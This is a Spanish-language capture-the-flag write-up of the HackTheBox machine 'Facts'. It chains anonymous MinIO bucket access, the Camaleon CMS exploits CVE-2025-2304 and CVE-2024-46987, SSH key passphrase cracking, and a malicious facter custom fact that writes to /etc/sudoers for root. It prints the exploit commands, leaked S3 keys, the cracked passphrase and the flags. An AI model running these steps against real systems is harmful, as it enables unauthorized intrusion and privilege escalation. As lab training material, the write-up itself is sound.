// HackTheBox — Writeup

FACTS

#linux #minio #privesc #lfi #camaleon-cms
// 01

RECONOCIMIENTO — Escaneo de puertos

Comenzamos con un escaneo completo de todos los puertos TCP para mapear la superficie de ataque de la máquina víctima:

escaneo inicial — todos los puertos
nmap -p- -T5 <IP> -oG allPorts
PUERTOESTADOSERVICIODETALLE
22/tcpOPENSSHOpenSSH 9.9p1 Ubuntu
80/tcpOPENHTTPnginx 1.26.3 → redirige a facts.htb
54321/tcpOPENHTTPMinIO (S3-compatible object storage)

Con los puertos identificados, lanzamos un escaneo más profundo con detección de versiones y scripts NSE:

escaneo detallado de servicios
nmap -p22,80,54321 -sSCV -T5 -n -Pn -vvv <IP> -oN scan.txt
Hallazgos clave del escaneo
El puerto 80 redirige a http://facts.htb/ — añadimos el dominio a /etc/hosts. El puerto 54321 es identificado como MinIO, un servidor de almacenamiento de objetos compatible con la API S3 de Amazon. Nmap también detecta que este puerto redirige a http://<IP>:9001, que sería la consola web de administración de MinIO (inaccesible desde el exterior).
añadir el dominio al /etc/hosts
sudo bash -c 'echo "<IP> facts.htb" >> /etc/hosts'
// 02

ENUMERACIÓN WEB — Camaleon CMS + MinIO

Inspeccionamos el código fuente de la web. Los assets revelan el CMS que hay detrás:

<link rel="stylesheet" href="/assets/themes/camaleon_first/assets/css/main-(...).css" /> <script src="/assets/themes/camaleon_first/assets/js/main-(...).js"></script> set-cookie: _factsapp_session=...
Identificación del CMS
Tres pistas inequívocas: el directorio camaleon_first en los assets (tema por defecto de Camaleon CMS), la cookie de sesión con el patrón _<app>_session característico de Ruby on Rails, y la ruta /admin/login que es el panel de administración por defecto de Camaleon. Se trata de Camaleon CMS 2.9.0 sobre Ruby on Rails.

Lanzamos gobuster para enumerar rutas de la web. Entre los resultados, el directorio /admin redirige a /admin/login, confirmando la presencia del panel de administración.

enumeración de directorios
gobuster dir -u "http://facts.htb/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php,txt,html,js

Las imágenes de la web se sirven desde la ruta /randomfacts/. Dado que MinIO está en el puerto 54321, intentamos acceder directamente al bucket randomfacts vía la API S3:

listado del bucket — sin autenticación
curl -s http://<IP>:54321/randomfacts/
<?xml version="1.0" encoding="UTF-8"?> <ListBucketResult> <Name>randomfacts</Name> <Contents><Key>animalejected.png</Key>...</Contents> <Contents><Key>logopage.png</Key>...</Contents> ... </ListBucketResult>
Bucket S3 público con escritura anónima
El bucket randomfacts es listable y accesible sin autenticación. Además, permite subir ficheros de forma anónima mediante PUT. El bucket actúa como almacén de assets de la web — nginx lo sirve como proxy inverso bajo la ruta /randomfacts/.
verificación de escritura anónima
curl -s -X PUT http://<IP>:54321/randomfacts/test.txt -d "test" -w "\nHTTP: %{http_code}"
HTTP: 200
// 03

CVE-2025-2304 — Privesc en Camaleon CMS → Credenciales S3

Creamos una cuenta de usuario normal en /admin/register. Con una cuenta válida, explotamos CVE-2025-2304, una vulnerabilidad de escalada de privilegios por mass-assignment en Camaleon CMS 2.9.0.

CVE-2025-2304 — Mass Assignment / Privilege Escalation
El endpoint updated_ajax actualiza el usuario con params.require(:password).permit!. El uso de permit! permite todos los campos sin restricción, incluyendo password[role]. Un usuario autenticado puede enviarse a sí mismo el campo role=admin y convertirse en administrador sin necesidad de conocer ninguna credencial privilegiada.
github.com/Alien0ne/CVE-2025-2304
explotación con extracción de credenciales S3
python3 exploit.py -u http://facts.htb -U <usuario> -P <password> --newpass <password> -e
[+] Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated) [+] Login confirmed User ID: 5 Current User Role: client [+] Loading PRIVILEGE ESCALATION User ID: 5 Updated User Role: admin [+] Extracting S3 Credentials s3 access key: AKIA4149D0AFB0E66022 s3 secret key: +yyxIE2ExRsBd8Vbu2iysRTIG0GFVJooYTQPef4H s3 endpoint: http://localhost:54321
¿Por qué el exploit cambia la contraseña?
El script por defecto envía password[password]=test como parte del request de actualización. Si no se especifica --newpass con la contraseña original, el exploit modifica la contraseña del usuario. Hay que añadir --newpass <tu_password> para mantener la contraseña intacta.

Con las credenciales S3 obtenidas del panel de admin, listamos todos los buckets de MinIO:

listar todos los buckets con credenciales
export AWS_ACCESS_KEY_ID='AKIA4149D0AFB0E66022' export AWS_SECRET_ACCESS_KEY='+yyxIE2ExRsBd8Vbu2iysRTIG0GFVJooYTQPef4H' aws --endpoint-url http://<IP>:54321 s3 ls
2025-09-11 14:06:52 internal 2025-09-11 14:06:52 randomfacts
Bucket privado descubierto
Existe un bucket internal que no era accesible sin autenticación. Contiene lo que parece ser un backup del directorio home de un usuario del sistema.
// 04

BUCKET INTERNAL — Clave SSH privada

Exploramos el contenido del bucket internal:

listado del bucket internal
aws --endpoint-url http://<IP>:54321 s3 ls s3://internal/
PRE .bundle/ PRE .cache/ PRE .ssh/ 2026-01-08 19:45:13 220 .bash_logout 2026-01-08 19:45:13 3900 .bashrc 2026-01-08 19:47:17 20 .lesshst 2026-01-08 19:47:17 807 .profile
explorar el directorio .ssh
aws --endpoint-url http://<IP>:54321 s3 ls s3://internal/.ssh/
2026-03-20 15:54:22 82 authorized_keys 2026-03-20 15:54:22 464 id_ed25519

Encontramos una clave SSH privada. La descargamos y le asignamos los permisos correctos:

descarga de la clave privada
aws --endpoint-url http://<IP>:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_rsa chmod 600 id_rsa
Clave cifrada con bcrypt
La clave está protegida con passphrase usando bcrypt (aes256-ctr). El authorized_keys solo contiene la clave pública sin información del usuario. Los ficheros del bucket tampoco revelan el nombre de usuario del sistema.
// 05

CVE-2024-46987 — LFI para obtener el usuario SSH

Para identificar el usuario al que pertenece la clave SSH, usamos CVE-2024-46987, un Path Traversal / Arbitrary File Read autenticado en Camaleon CMS que funciona en la versión 2.9.0 a pesar de estar documentado para versiones anteriores.

CVE-2024-46987 — Authenticated Path Traversal
El método download_private_file del MediaController no valida correctamente el parámetro file, permitiendo a un usuario autenticado leer ficheros arbitrarios del sistema mediante path traversal.
github.com/Goultarde/CVE-2024-46987
lectura de /etc/passwd para identificar usuarios
python3 exploit.py -u http://facts.htb -l <usuario> -p <password> /etc/passwd
root:x:0:0:root:/root:/bin/bash ... trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash william:x:1001:1001::/home/william:/bin/bash ...
Usuario identificado: trivia
Hay dos usuarios con shell: trivia y william. La clave SSH pertenece al usuario trivia, que tiene como directorio home /home/trivia. La flag de usuario se encuentra en el home de william.
// 06

ACCESO SSH — Crackeo de passphrase con John

Con el usuario identificado, crackeamos la passphrase de la clave SSH usando John the Ripper y el diccionario rockyou:

extracción del hash y crackeo
ssh2john id_rsa > id_rsa.hash john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 24 for all loaded hashes dragonballz (id_rsa)

Con la passphrase obtenida, accedemos al sistema:

acceso SSH como trivia
ssh -i id_rsa trivia@<IP> # passphrase: dragonballz
trivia@facts:~$

La flag de usuario se encuentra en el directorio home de william, accesible con los permisos de trivia:

cat /home/william/user.txt
USER FLAG40a9c3eae65cda04047b79b8569be65b
// 07

PRIVILEGE ESCALATION — sudo facter → RCE como root

Comprobamos los privilegios sudo del usuario trivia:

verificación de permisos sudo
sudo -l
User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter
¿Qué es facter?
facter es una herramienta de Ruby usada por Puppet para recopilar información del sistema (facts). Permite cargar "custom facts" desde directorios externos mediante --custom-dir. Estos facts son ficheros Ruby que se ejecutan con el intérprete de Ruby de facter — en este caso, como root.

Creamos un custom fact malicioso que añade a trivia a sudoers con permisos totales:

creación del custom fact malicioso
mkdir /tmp/facts echo 'Facter.add("x") { setcode { `echo "trivia ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers` } }' > /tmp/facts/x.rb sudo facter --custom-dir /tmp/facts x
escalada a root
sudo su
root@facts:~#
cat /root/root.txt
ROOT FLAGf844b3f4aae5e224f116911eb6dde5e5
// RESUMEN

CADENA DE ATAQUE

01
Reconocimiento → MinIO en puerto 54321
Nmap identifica nginx en el 80 (Camaleon CMS 2.9.0) y MinIO en el 54321. El bucket randomfacts es accesible y escribible de forma anónima.
02
CVE-2025-2304 → Admin + Credenciales S3
Mass-assignment en updated_ajax eleva el rol de usuario a admin. El panel de admin expone las credenciales S3 de MinIO en Filesystem Settings.
03
Bucket internal → Clave SSH privada de trivia
Con las credenciales S3 se accede al bucket privado internal, que contiene el directorio home de trivia incluyendo su clave SSH privada cifrada con bcrypt.
04
CVE-2024-46987 → LFI → /etc/passwd
Path Traversal autenticado en download_private_file permite leer /etc/passwd y confirmar el usuario trivia. John crackea la passphrase: dragonballz.
sudo facter → Custom fact Ruby → Root
trivia puede ejecutar /usr/bin/facter como root sin contraseña. Un custom fact Ruby escribe en /etc/sudoerssudo su → flag de root.